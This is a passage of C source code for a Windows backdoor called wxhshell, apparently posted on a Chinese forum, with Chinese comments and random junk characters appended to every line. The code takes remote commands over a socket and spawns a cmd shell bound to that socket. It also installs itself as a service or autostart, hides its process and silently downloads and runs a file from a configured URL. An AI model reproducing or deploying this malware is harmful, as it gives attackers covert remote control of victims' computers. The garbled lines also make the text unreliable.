  send(wsh,msg_ws_err,strlen(msg_ws_err),0); S5:`fo^5  
  else {e,m<mAi  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x{u7#s1|/  
  } F^ kH"u[  
  else { 1gp3A  
C3fSSa%b  
    switch(cmd[0]) { ${n=1-SMU  
  x Z2 }1D  
  // 帮助 [3`T/Wm  
  case '?': { 4]$cf:  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); .+XGbs]kCi  
    break; }+U} [G  
  } 1-@.[VI  
  // 安装 L2>UA<@mZ  
  case 'i': { Q2;zve&Dl  
    if(Install()) n50XGv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v'`9^3(-  
    else 5q[0;`J  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q_Td!?2?  
    break; 2Up1 FFRx  
    } ;$W/le"Xr  
  // 卸载 +O23@G?x  
  case 'r': { '>(R'g42n  
    if(Uninstall()) 0*^)n&O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SJ1 1LF3)  
    else i70TJk$fs  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gvYib`#  
    break; gx&BzODPd0  
    } Qg+0(odd  
  // 显示 wxhshell 所在路径 )%8oE3O#  
  case 'p': { VXvr`U\  
    char svExeFile[MAX_PATH]; ;i`X&[y;  
    strcpy(svExeFile,"\n\r"); !pI)i*V|  
      strcat(svExeFile,ExeFile); :<d\//5<9  
        send(wsh,svExeFile,strlen(svExeFile),0); =LJc8@<:f  
    break;  "m3:HS  
    } ShanwaCDqv  
  // 重启 nf!RB-orF  
  case 'b': { Y >-|`2Z  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); )5P*O5kQ -  
    if(Boot(REBOOT))  =%AFn9q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0 1[LPN  
    else { _xign 3  
    closesocket(wsh); &)L2a)  
    ExitThread(0); s)%RmsdL  
    } 07-S%L7Z  
    break; Uh}n'Xd#{}  
    } HBYqqEO  
  // 关机 "HFS5Bj'  
  case 'd': { +M%i3A  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); yEt:g0Z \  
    if(Boot(SHUTDOWN)) *W q{ :k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S1^u/$*6  
    else { #=R)s0j"  
    closesocket(wsh); <Ft6d  
    ExitThread(0); @YmD 79  
    } ann!"s_  
    break; y'4H8M2?  
    } Iw~3y{\  
  // 获取shell ]H7_bix  
  case 's': { 8Dpf{9Y-E  
    CmdShell(wsh); ABEC{3fWpu  
    closesocket(wsh); zcItZP  
    ExitThread(0); W5?F?Dp!v  
    break; ZjY_AbD  
  } w[PWJ! <  
  // 退出 HbF.doXK  
  case 'x': { MrjET!`.jC  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); H n+1I  
    CloseIt(wsh); ByeyUw  
    break; YMP:T?vMVh  
    } ^a|$z$spf  
  // 离开 %>'2E!%  
  case 'q': { /h%<e  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); v'*Q[ ('  
    closesocket(wsh); vBsd.2t~  
    WSACleanup(); VtF^; f  
    exit(1); }(O/y-  
    break; !_s|h@  
        } m` cw:  
  } dz.]5R  
  } iC&=-$vu  
O z%K*  
  // 提示信息 .z+?b8Q\  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1&c>v3 $2  
} 8Q^yh6z  
  } %JDG aG'  
CFqoD l  
  return; -yeQQ4b  
} eA&hiAP/  
a&)0_i:r  
// shell模块句柄 Pgg6(O9}B^  
int CmdShell(SOCKET sock) c"t1E-Nsk  
{ 4vTO  #F  
STARTUPINFO si; k|-`d  
ZeroMemory(&si,sizeof(si)); c\UVMyE  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; I})la!9   
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?HVsIAU  
PROCESS_INFORMATION ProcessInfo; exV6&bdu  
char cmdline[]="cmd"; wXDF7tJh  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); t$r^'ZN  
  return 0; +V1EqC*  
} 8YraW|H  
n1o/-UY  
// 自身启动模式 <Hhl=6op  
int StartFromService(void) k(o[T),_%0  
{ )gV+BHK  
typedef struct \(.&E`r  
{ />q=qkdq0  
  DWORD ExitStatus; :w(J=0Lt  
  DWORD PebBaseAddress; mp0p#8txi  
  DWORD AffinityMask; +] B  
  DWORD BasePriority; s W+YfJT  
  ULONG UniqueProcessId; %Rr!I:[ $  
  ULONG InheritedFromUniqueProcessId; ?AP2Opsl  
}   PROCESS_BASIC_INFORMATION; TW).j6@f  
 m3 ;  
PROCNTQSIP NtQueryInformationProcess; ]R}#3(]1  
&T]+g8''  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; b>E%&sf  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; VP\HPSp  
rB?u.jn0T  
  HANDLE             hProcess; E!Hq%L!/  
  PROCESS_BASIC_INFORMATION pbi; rMSB|*_  
xPb;_~  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Km]N scq1  
  if(NULL == hInst ) return 0; F}0QocD  
gB&]kHLO  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2*n2!7jZ*  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); - t4"BD  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); u1` 8f]qt  
KpC)A5u6  
  if (!NtQueryInformationProcess) return 0; \^;Gv%E  
w>; :mf  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); _baqN!N  
  if(!hProcess) return 0; 'LFHZ&-  
%9[GP7?  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; (y^oGY;  
Ol9U^  
  CloseHandle(hProcess); Y_>z"T  
BzF.KCScs  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 51.F,uY  
if(hProcess==NULL) return 0; *]z.BZI:  
V|}9d:&O  
HMODULE hMod; +^gh3Y  
char procName[255]; t2p/NIn  
unsigned long cbNeeded; p]`pUw{  
J=*y>Zt-b  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));  g}Hk4+  
tzi+A;>c(v  
  CloseHandle(hProcess); p1v:X?  
0-0 )E&2  
if(strstr(procName,"services")) return 1; // 以服务启动 KU-z;}9s  
A/{pG#if]3  
  return 0; // 注册表启动 IG`~^-}7lR  
} 2P$lXGjh  
5YC56,X  
// 主模块 I.R3?+tZ  
int StartWxhshell(LPSTR lpCmdLine) 10}oaL S  
{ PZNo.0M70  
  SOCKET wsl; vbqI$F[s  
BOOL val=TRUE; vc6UA%/f  
  int port=0; tt[P{mMQ  
  struct sockaddr_in door; 98Srn63O  
h|=^@F_\`  
  if(wscfg.ws_autoins) Install(); HCHP15otfe  
E}k#-+u<S4  
port=atoi(lpCmdLine); eN/s W!:P|  
sl6p/\_w  
if(port<=0) port=wscfg.ws_port; {,IWjt &>  
?MKf=! w  
  WSADATA data; P)1@HDN==  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 2@08 V|  
`"AjbCL  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   }S*6+4  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); F Paj p  
  door.sin_family = AF_INET; -J[zJ4z #  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); _QvyFKAM  
  door.sin_port = htons(port); t8i"f L  
g ywI@QD%#  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { l]WV?^*  
closesocket(wsl); a47Btd'm  
return 1; 8o-?Y.2  
} ]~WP;o  
:m#vvH  
  if(listen(wsl,2) == INVALID_SOCKET) { MFW?m,It)  
closesocket(wsl); E>4#j PK  
return 1; ~pzaX8!  
} W:(:hT6`j9  
  Wxhshell(wsl); MF 5w.@62X  
  WSACleanup(); @KOa5-u  
82$By]Y9  
return 0; eoEb\zJ  
{6 #3`  
} x ?^c:`.  
$nn~K  
// 以NT服务方式启动 <g*rTqT'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) M|n)LyL  
{ %M}zi'qQ?  
DWORD   status = 0; rFx2 S  
  DWORD   specificError = 0xfffffff; /4_}wi\  
*N>Qj-KAM_  
  serviceStatus.dwServiceType     = SERVICE_WIN32; =7e8N&-nv  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ^]U2Jd  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; `W]a @\EYA  
  serviceStatus.dwWin32ExitCode     = 0; T{uktIO/  
  serviceStatus.dwServiceSpecificExitCode = 0; S<Q1 &],  
  serviceStatus.dwCheckPoint       = 0; <(f4#B P  
  serviceStatus.dwWaitHint       = 0; v/m`rc]e  
v~jN,f*  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~%<PEl|  
  if (hServiceStatusHandle==0) return; UBqK$2 #  
.z[+sy_  
status = GetLastError(); g!~j Wn?A  
  if (status!=NO_ERROR) gKYn*  
{ uXhp+q\  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; +B8Ut{l  
    serviceStatus.dwCheckPoint       = 0; 4aV3x&6X  
    serviceStatus.dwWaitHint       = 0; *s%s|/  
    serviceStatus.dwWin32ExitCode     = status; 6,@M0CX  
    serviceStatus.dwServiceSpecificExitCode = specificError; G!rcY5!J  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3\4Cg()  
    return; c'G\AbUVjE  
  } ]6:5<NW  
>p<( CVX[  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; SN]/~>/  
  serviceStatus.dwCheckPoint       = 0; Gi<f/xQk>  
  serviceStatus.dwWaitHint       = 0; Qb(CH  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Rw/G =zV@2  
} ED?s[K  
sm_:M| [D  
// 处理NT服务事件,比如:启动、停止 U!e4_JBR'  
VOID WINAPI NTServiceHandler(DWORD fdwControl) I[4E?  
{ y:,{U*49  
switch(fdwControl)  R(zsn;  
{ wz, \zh  
case SERVICE_CONTROL_STOP: wR;l"*j  
  serviceStatus.dwWin32ExitCode = 0; N$y4>g  
  serviceStatus.dwCurrentState = SERVICE_STOPPED;  >#q|Pjv]  
  serviceStatus.dwCheckPoint   = 0; ~(Tz <  
  serviceStatus.dwWaitHint     = 0; S;t~"87v*  
  { +?.,pqn<=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); F;b|A`M  
  } mdZELRu  
  return; qnA:[H;F  
case SERVICE_CONTROL_PAUSE: #-@{rgH  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; JfVay I=  
  break; <;XJ::d  
case SERVICE_CONTROL_CONTINUE: ] !A;-m  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; >N,G@{FR  
  break; hV,3xrm?P  
case SERVICE_CONTROL_INTERROGATE: *jJ62-o  
  break; VLO>{"{'  
}; Ja (/ym^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ScTqnY$v  
} 'sA&Pm  
djSN{>S  
// 标准应用程序主函数 Olno9_'  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) "~[Rwh?  
{ - a=yi d  
%bimcRX#W  
// 获取操作系统版本 y^nR=Q]_  
OsIsNt=GetOsVer(); eT|_0kx1  
GetModuleFileName(NULL,ExeFile,MAX_PATH); MO D4O4z&  
3jI.!xD`  
  // 从命令行安装 S :}s|![p  
  if(strpbrk(lpCmdLine,"iI")) Install(); !;xE7w  
D~y]d  
  // 下载执行文件 <N*>9S,}  
if(wscfg.ws_downexe) { asF- mf;D  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <G&v  
  WinExec(wscfg.ws_filenam,SW_HIDE); _ 4W#6!  
} srSTQ\l4  
T9$U./69-L  
if(!OsIsNt) { kDz.{Ih  
// 如果时win9x,隐藏进程并且设置为注册表启动 UP`q6] P  
HideProc(); $YC~02{  
StartWxhshell(lpCmdLine); $e_ps~{7$  
} Wp]EaYt2D  
else g|zK%tR_P  
  if(StartFromService()) c[YjGx  
  // 以服务方式启动 zm"\D vN)  
  StartServiceCtrlDispatcher(DispatchTable); J{Ay(  
else Cn55%:  
  // 普通方式启动 [x)e6p)  
  StartWxhshell(lpCmdLine); OMZT\$9yT  
4tC_W!?$t  
return 0; g}D$`Nx:  
}
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只看该作者 1 发表于: 2006-10-10
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